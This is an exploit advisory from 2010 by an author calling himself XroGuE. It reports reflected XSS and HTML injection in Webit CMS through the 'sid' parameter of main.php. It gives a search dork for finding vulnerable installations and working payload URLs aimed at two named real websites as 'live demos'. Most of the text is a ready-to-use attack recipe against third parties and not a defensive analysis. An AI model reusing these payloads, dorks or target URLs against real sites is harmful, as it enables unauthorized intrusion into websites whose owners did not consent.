========================================================= Webit Cms (XSS/HTML) Injection Vulnerabilities ========================================================= ######################################### # Name: Webit Cms (XSS/HTML) Injection Vulnerabilities # Vendor: http://www.webitcms.gr # Date: 2010-05-26 # Author: XroGuE # Thanks to: Inj3ct0r.com [R0073r],Exploit-DB.com,SecurityReason.com,Hack0wn.com ! # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: (-_+) ########################################## [+] Dork: intext:"powered by webit! cms" [+] XSS InjecTion Vulnerability: [+] Vulnerability: www.site.com/[path]/main.php?sid=[XSS] [+] Live Demo: http://www.poseidonms.com/templates/main/main.php?sid=<script>alert(/XroGuE/);</script> [+] Live Demo: http://www.d-tales.gr/templates/main/main.php?sid=<script>alert(/XroGuE/);</script> ########################################### [+] HTML InjecTion Vulnerability [+] Vulnerability: www.site.com/[path]/main.php?sid=[HTML] [+] Live Demo: http://www.poseidonms.com/templates/main/main.php?sid=<marquee><font color=red size=15>XroGuE</font></marquee> [+] Live Demo: http://www.d-tales.gr/templates/main/main.php?sid=<marquee><font color=red size=15>XroGuE</font></marquee> ###########################################